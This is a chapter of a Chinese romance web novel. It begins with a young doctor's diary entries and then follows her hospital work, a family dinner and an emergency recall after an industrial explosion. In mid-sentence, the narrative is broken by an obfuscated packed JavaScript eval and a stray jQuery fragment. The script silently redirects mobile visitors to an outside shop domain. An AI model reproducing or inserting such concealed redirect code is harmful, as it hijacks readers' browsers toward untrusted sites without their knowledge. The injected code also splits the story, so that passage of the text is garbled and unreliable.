“我听见风，来自地铁和人海，我排着队，拿着爱的号码牌。”
——孙燕姿《遇见》
-
2014.09.02晴
医学院新生军训的第一天，宁大的栾树长得真奇怪，在这个季节，竟然同时挂着花、果和叶。
母亲怕我的身体吃不消，很早就找人开好病假条，但我想更快融入集体生活，就拒绝了。
休息间隙，大家会围坐在一起喝水拉歌，前后左右的同学看我年纪小，都挺照顾我的。
话题不知怎么转到了“宁大校草”上，据说今年竞争激烈，航空航天学院和工程物理系口水仗打不可开交，呼声最高的是一个叫贺屹川的。
这个词条在热搜上挂了很久，槿知也看到了，她说这个男生背景像你。
但我知道，那不是你。
……
2014.10.01小雨
国庆节放假了，留海有些长，开始扎眼睛。
母亲今天陪我去复诊，按时吃药，躯体化症状减轻了很多，原来并没有什么“读心术”的异能，只是病被耽误得太久，幻觉而已。
那我喜欢你——邵云旌，也是幻觉吗？
……
2015.01.02暴雪
只剩最后一包中药，医生说，我最大的问题是封闭自己，所以就开始用文字记录生活，奈何文采有限。
日记会留痕，微博太热闹，加密的QQ空间也许中二，对我刚刚好。
未来是要当医生的人，可不能讳疾忌医。
……
2015.06.06晴转多云
热，又是一年高考时。
我们也马上期末考了，这个学期学得最好的还是解剖学。
你呢，大洋彼岸的你现在还好吗？
……
2016.02.07冷空气南下预警
六级高分稳过。
一句“新年快乐”，假装是群发的春节祝福。
结果等了很久，没有收到回复。
……
2016.12.24平安夜，星星很亮
半夜手机突然震动，还以为是舍友或者老师，却看见你无意中在四人群聊里发了张照片，是炫丽的玫红色极光。
槿知和你有来有回地聊天，你说你在芬兰的罗马涅米。
我们之间隔着的，不止一片太平洋，还有一整片绚烂到刺眼的、我永远无法触及的夜空。
今夕，是何年？
……
2017.06.10阴
留了三年多的头发，终于及腰了，澜姨难得来家里做客。
我才发现自己竟然没有一张你的照片……
毕竟，也无关紧要了。
……
2017.08.22晴
大堂哥宋楷言要结婚了，对象是长宁新上任书*记的掌上明珠。
从相亲到婚礼，只见了3次面。
他们“也许没有爱情，但对生意有助益，各方皆大欢喜。”
这是新人的原话，可能谁都会身不由己。
……
2018.01.02零星小雪
槿知又谈恋爱了，和她搭戏的当红顶流男星，轰动整个娱乐圈。
她却给我发消息澄清：【只是逢场作戏，玩玩罢了。】
然后今天学院元旦晚会，惨兮兮的我，又被挂到表白墙上。
……
2018.07.22暴晒，高温红色预警
槿知从电影学院毕业了，陪她拍了美美的毕业照。
晚上，我们一起看了部热血美剧，篮球那么好的你，是不是也玩橄榄球了？
是不是也有……某个Sweetie甜心？
我想我要放下你了。
……
2018.09.03枫叶又红了。
大五新学期，退出参加四年的天文社，因为马上要开始实习了。
桀呈哥顺路来学校给我送东西，我却又借他挡了一回桃花。
再次听见你的名字，原来你要读研了。
……
2019.02.14晚霞漫天像童话
情人节，要登机了。
全额奖学金，去德国海德堡大学交流一年。
我读了很多关于“戒断”的医学论文，也懂得大脑皮层突触可塑性改变的原理，但记忆中的你，永远无与伦比。
……
2020.01.01小雨
槿知放弃跨年晚会的邀约，来德国陪我过节。
去了芬兰，俄罗斯和加拿大，拍了很多极光的照片。
但异国他乡，烟花盛开时，我们嘴里唱着老掉牙的《明天会更好》，眼尾沁出薄泪。
……
2021.06.06阴转多云
出门遇到交通管制，才发现是高考第一天。
规培轮转后，每天都忙疯了。
师兄新换的手机铃声，竟然是《十年》，科室掀起一波怀旧潮，学业与事业，友情与爱情，但我只在乎当下。
……
2022.07.10晴
【一张合照】
宁大的栾树又红了一茬，学海无涯苦作舟，长征8年终于毕业啦~
只是没想到桀呈哥也被催婚了。
……
-
要不是科室新进的小师弟要给她传视频资料，说WeChat压缩画质，宋棠絮还想不起快被她卸载两年多的QQ。
每天值不完的夜班，写不完的病历，日子忙碌又充实，她已经很久没出现抑郁和焦虑情绪了。
资料刚传完，手机忽然一条弹屏，是QQ里的“去年今日”——10年前的1月2日.深夜。
【我好像被困在有你的回忆里，再也走不出去了。】
宋棠絮有片刻恍惚，却无动于衷地按灭手机。
窗外的光斜斜照进来，落在她清冷温婉的侧脸上，只有一种历经漫长雨季后，终于放晴的从容释然。
中午，宋槿知的奔驰保姆车绕了20公里的路，特意来陪她吃食堂。
看着她和黑粉激情开麦的模样，宋棠絮笑着问：“这个弟弟不是挺帅吗？和他在一起，不开心？”
“被我发现他私下撩粉，昨天就掰了，”宋槿知放下手机，和她吐槽：“反正我又新加了一个小鲜肉微信，叫卢卡斯，中意混血……”
在宋棠絮的恶补和全家人的努力下，宋槿知踩线被电影学院录取，凭美貌暴击成为当年“最美艺考生”。
读书时，就开始进入娱乐圈拍戏，从镶边的女三女四，一路演到S+仙侠大女主。
她这些年的感情生活，也丰富多彩。
宋棠絮记得，开学第一天她就发来一张男生照片，是跟她同年入学的艺考状元，叫林思源，盘条正顺，眉眼英气。
宋槿知和她煲电话粥时，语气里难掩兴奋：“是不是长得很帅呀？我打算追他！”
宋棠絮疑惑：“他对你有想法吗？”
宋槿知却不在乎：“人可高冷了，爱答不理的，不过一天不行，就追一个月，一个月不行，就追一年，反正我有的是钱和时间。”
就这样砸钱又砸资源，没多久那男生就束手就擒了，原本以为新恋情会帮助她走出情伤脱胎换骨，但热度维持不到100天。
之后林思源三番两次到教室纠缠，闹到校长办公室，最后还是宋家出面摆平，据说给了不少大班底电影的角色。
宋槿知很费解：“都说分手了，他为什么还不死心？”
宋棠絮：“那你当初为什么喜欢他？”
宋槿知理直气壮：“因为他长得帅，我才决定追他的，可是他竟然一声招呼都不打，就去隆鼻了，他现在的鼻子丑死了……”
哦，原来今朝有酒今朝醉，爱情不需要郑重其事，喜欢也不一定天长地久。
后来，宋槿知又谈过很多段恋爱，每段都很认真，每段也都很草率。
“絮宝，你说他们为什么上来就想跟你肢体接触，接吻伸舌头，再搂腰往床上带？他们为什么就不能好好跟我说说话？”
这些交往对象，无论是圈里搭戏合作的演员，还是初出茅庐的高校才子，亦或是亲戚介绍的商界精英。
最长不超过半年，最短也就三天。
宋槿知不是在热恋，就是在分手的路上，家里宠她，只要不受伤不被骗，大多睁一只眼闭一只眼，而且她很聪明，别人能不能得到，从来只有她愿不愿意给。
她现在是00后流量花种的翘楚，背景、资源、演技、作品和流量，样样都不缺。
一大批跟随她出道的死忠粉粘性自是大，圈内新晋鲜肉的粉丝，却对她又爱又恨，爱能跟宋槿知合作都是好导演好班底，恨她海王会钓人，自家哥哥难逃远洋捕捞。
许多人年轻时的豪言壮语都变成虚妄，最后一边强撑着，开出几朵无关痛痒的黄花，一边结着名为“现实”的苦果。
但姐妹俩却在家族的保驾护航下，沿着十五岁时的心愿轨迹，肆意且无虑地成长。
宋槿知成了最炙手可热的影视明星，享受千万人的追捧和掌声，等着她过目的好剧本能打扑克，还趋之若鹜。
黑粉嘲讽她时，第一条就骂资源咖，但谁不羡慕她出生的起点，就是别人奋斗一生都达不到的终点呢？
宋棠絮在砚中只上了一学期的课，便入学宁大医学院。
临床医学本博八年毕业加赴德交流1年后，她留职省立医院，从住院医一路晋升主治。
宋棠絮现在在省立与宁大医学院联合成立的重点实验室任职，兼顾临床和科研，日常就是创面修复、激光和手术，每周只有两天下病房，也不需要出门诊。
宋怀谦和向澜夫妻俩的爱和包容，圆融了她的棱角和不安，她现在拥有最恩爱开明的父母，最有荣誉感和使命感的职业，最融洽团聚的师长和同门。
她偶尔还会跟导师出差，不是出席研讨会和医学高峰论坛，就是合作揭幕仪式，一个月得三四次。
医生培养周期长，经费和收入更是杯水车薪，但宋家有家族基金，父母也是全力托举。
准确说被收养后，她对钱已经没概念了，因为衣食住行全都被人有人包办，她永远都数不清账户上的余额。
宋棠絮现在还跟父母一起住，一家人在向澜退休后搬进东山墅别墅，位于宁江内侧，风景秀丽。
她只有值二线班的时候，才会独居医院附近的平层公寓，宋槿知一部戏要拍三四个月，姐妹俩见面时会约在这儿，交通便利，安保严密。
宋槿知因为怕偷拍，在食堂室内还得戴着棒球帽。
棠絮笑她多跑一趟，明明晚上要一起在老宅吃团圆饭，宋家这规矩多年雷打不动。
“小没良心的，”宋槿知溺笑着刮她鼻梁：“人家和你不是三月未见，甚是想念嘛？”
“咦，以前不都是1号，怎么忽然改了日子？”
宋槿知解释道：“这不是我爸新得了两盆建兰君荷，有价无市的，邵叔叔和蕴姨难得有空来家里做客。”
她想了想：“这样啊，但是下午科里还有事，我得晚到一会。”
“没关系，反正蕴姨最喜欢你了，只是素婶最拿手的白玉茯苓糕就要全进我肚子了。”
“好，都给你。”宋棠絮很大方。
“切~你坏死了，人家还得保持身材穿高定呢，”宋槿知揉了揉她的发顶，起身和她说再见。
“嗯，晚上见。”
-
下午，科里的每个人都光鲜亮丽，连最德高望重的梁教授，都罕见地穿起了西装。
梁教授是她导师，半步迈进院士行列，更荣登2025年度科学影响力榜单，但这样的大佬在面临“金主”时，也不能掉以轻心。
毕竟能舍得砸10亿新盖医学中心，还是屈指可数的。
前两天启动仪式时，政府高官和各方领导都纷至沓来，现场可谓人山人海，但金主却因诸事缠身，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615046|204675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到今日才回国莅临。
自从去年师母过世后，梁教授衣着打扮上，就不那么细致了。
宋棠絮心细，给老人家系好温莎结后，就请假早退了。
她不习惯这种交际场合，回碧梧小居至少得一个小时车程，加上她刚刚代表烧伤整形外科，报名了医院应急救援医疗队，是科里的“小功臣”。
明明上午还是艳阳高照的天，才刚三点，就阴得可怕。
天空是一种浑浊的铅灰色，冷风往脖缝里钻，看天气预报好像要下小雪。
宋棠絮是走侧门离开的，医学中心外已铺好了红地毯，金主的迈巴赫s400车队，像一条匍匐的非洲黑曼巴。
到老宅时，小雨比雪先一步落下，而长辈们已经在藕香榭旁的花厅喝茶了。
向澜心疼女儿淋了雨，而温蕴也主动起身打招呼：“棠絮，外面温度这么低，别着凉了。”
“大伯好，蕴姨好，邵……叔叔好。”
这么多年，宋棠絮现生第一次见到邵守拙，这位位高权重的大人物，以往只出现在新闻联播里。
向澜说：“先去换身衣裳，再来喝杯热茶去去寒。”
她点头，转头往后院去了。
不多时就换了身新中式的素呢子撘改良马面裙，衬得她肤色白净，疏淡的眉眼，秀挺的鼻梁，像是江南烟雨的清丽婉约。
云深阁的晚餐已经布好，十二冷十二热外加各色精致点心，宋执钧坐正中，邵守拙坐主宾，众人以此落座。
“来，挨着阿姨坐。”
温蕴拉着宋棠絮的手入席，她左边是宋槿知，再左边则是母亲向澜。
她每次来宋家做客，管家总是大包小包的礼物，姐妹俩不偏不倚，一人一份，这次更是每人送了件正阳绿辣色的平安扣。
宋棠絮安静地吃菜，偶尔和堂姐说悄悄话，席上温蕴的目光却总在两人之间逡巡，比平时见面更热切欢喜，满心满眼止不住的中意，问完堂姐又接着问她。
“棠絮，平时工作累吗？”
“还好，已经习惯了。”
她回答落落大方，这些年在宋家耳濡目染，已经不似儿时落落寡合，而父辈们闲聊的话题，总绕不开民生经济和发展，宋棠絮虽然听得懂，平时却不关注。
夜幕渐渐降临，华灯高挂，小雪飞扬，桌架上的两盆君荷，不愧是亚洲第一荷，唇瓣鲜艳，花苞滚圆。
而席间，笑言轻语，宾主尽欢。
晚餐后消食解腻小世界你，茶则换成熟普洱。
向澜、温蕴和姐妹俩聊得越发尽兴，都是有为女性，聊得最多还是事业和工作。
间歇，宋棠絮帮科内几个小朋友跟堂姐要签名，还得是什么to签，温蕴则到窗边接电话。
她看着眼前其乐融融，母亲眼尾纹却更深了些，心头被柔软的暖意填得满满当当。
“是不是又瘦了？妈妈从明天得监督你好好吃饭。”
“没有，您煲的汤我每次都喝光的……”
家人安康，安稳顺遂，现在就挺好。
突然，口袋里的手机震了三震。
宋棠絮陪家人时，都会把手机调成静音，除非是有十万火急的事，比如现在。
【紧急召回通知】
各位同事：
高新区工业园突发严重爆炸事故，现场情况危急，伤亡人数暂无法统计。
现启动最高级别应急响应，请所有目前在市区内的医生（含休假、轮休人员）立即取消休假，务必于30分钟内返回医院待命，准备接收批量伤员。
请相互转告，收到请回复。
——医务科/急诊科
……
旁边蕴姨的声音关心慈爱：“你赶不过来了？那改天吧，反正以后多得是机会，你应酬时少喝酒，我发出去的照片你看看……”
宋棠絮看邵叔叔一脸严肃，似乎比她更早得到消息，已经马不停蹄地部署工作了。
向澜看着女儿脸色一变，问：“有什么要紧事吗？”
“母亲，我可能得回趟医院。”他们科连80岁的老泰斗，都出山坐镇指挥了。
“可是……外面还在下雪，路上都结冰了吧。”向澜难掩担心。
出这么大事，温蕴就知道这茶丈夫喝不下去了，肯定要连夜赶回去，夫妻俩一商量
拍板道：“要不棠絮就跟我们回去吧，直升机比开夜路更快。”
宋家老宅是做了停机坪改造的，直升机起落架缓缓落下，巨大的旋翼搅动着冬夜的寒风，卷起旁边上尚未积起的薄雪。
“棠絮，”温蕴握住她微凉的指尖，提醒道：“风大，小心些。”
机舱里，邵守拙电话不断。
温蕴的声音在黑夜中格外柔和：“阿姨很喜欢你之前绣的荷包，我那儿有件旧旗袍，是我妈妈的陪嫁，可惜保存不善，破了几个洞，我看你针脚细密，心思巧，不知能不能帮我修补一二？”
她话里说的客气，姿态放得极低：“改天，阿姨请你来大院里吃顿便饭。我跟你一样，也是南方长大的，我最拿手的腌笃鲜，你肯定也爱吃。”
望着那张保养得宜的脸，尤其是那双含笑的眼眸，和记忆中某道模糊的身影重叠在一起。
宋棠絮不忍拒绝，便轻声应下：“好，那我试试。”
小时无辜锐利的狗狗眼，成年后越发自然圆润，睫毛轻轻颤动时，眼眸闪动好似落雪消融前的最后一点晶莹。
宋棠絮赶到医院时，已经将近9点。
门诊楼连带几个住院部都灯火通明，救护车进进出出，一辆接着一辆。
她还是按原路，从侧门回去换白大褂，却忽然发现金主的车队，依旧停在遒劲的法国梧桐树下，满是生人勿近的压迫感。
以前碰到同款车型时，她总忍不住驻足，最后又总会沉默落眼。
这次她行色匆匆，却没发现最中间那辆黑色迈巴赫s400后车窗缓缓降下。
暮色沉沉，有一人骨相优越的剪影藏在暗光里，冷冽矜贵，浑然天成。